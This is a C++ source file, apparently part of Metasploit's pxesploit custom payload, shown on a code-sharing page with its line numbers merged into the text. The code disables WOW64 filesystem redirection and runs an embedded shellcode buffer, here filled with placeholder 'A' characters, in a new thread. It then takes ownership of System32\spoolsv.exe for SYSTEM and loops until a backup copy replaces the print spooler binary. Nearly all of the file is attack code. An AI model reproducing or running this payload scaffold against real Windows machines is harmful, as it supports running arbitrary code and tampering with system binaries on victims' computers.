Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/pxesploit/customPayload/autoinf/main.cpp
Views: 11784
#include <Windows.h>1#include <Aclapi.h>2typedef BOOL (WINAPI *Wow64DisableWow64FsRedirectionFunc) ( __out PVOID *OldValue );34void start(){5//fix wow32-64 fsredir6PVOID OldValue;7Wow64DisableWow64FsRedirectionFunc disableWow = (Wow64DisableWow64FsRedirectionFunc)GetProcAddress(89GetModuleHandleA("kernel32"),"Wow64DisableWow64FsRedirection");10if( disableWow )11disableWow(&OldValue);12char windowsPath[MAX_PATH];13GetWindowsDirectoryA(windowsPath,MAX_PATH);14SetCurrentDirectoryA(windowsPath);151617const char * shellcode=1819"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"2021"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"2223"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"2425"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"2627"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"2829"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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9293CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)shellcode,NULL,0,NULL);9495DWORD sidSize = SECURITY_MAX_SID_SIZE;9697PSID ownersid = LocalAlloc(LMEM_FIXED,sidSize);9899CreateWellKnownSid(WinLocalSystemSid, NULL, ownersid, &sidSize);100101//permissions, owner?102103SetNamedSecurityInfoA("System32\\spoolsv.exe",SE_FILE_OBJECT,OWNER_SECURITY_INFORMATION,ownersid,NULL,NULL,NULL);104105SetNamedSecurityInfoA("System32\\spoolsv.bak.exe",SE_FILE_OBJECT,OWNER_SECURITY_INFORMATION,ownersid,NULL,NULL,NULL);106107//copy file back108109while(MoveFileA("System32\\spoolsv.bak.exe","System32\\spoolsv.exe") == 0){110111DeleteFileA("System32\\spoolsv.exe");112113Sleep(100);114115}116117while(true)118119Sleep(10000);120121}122123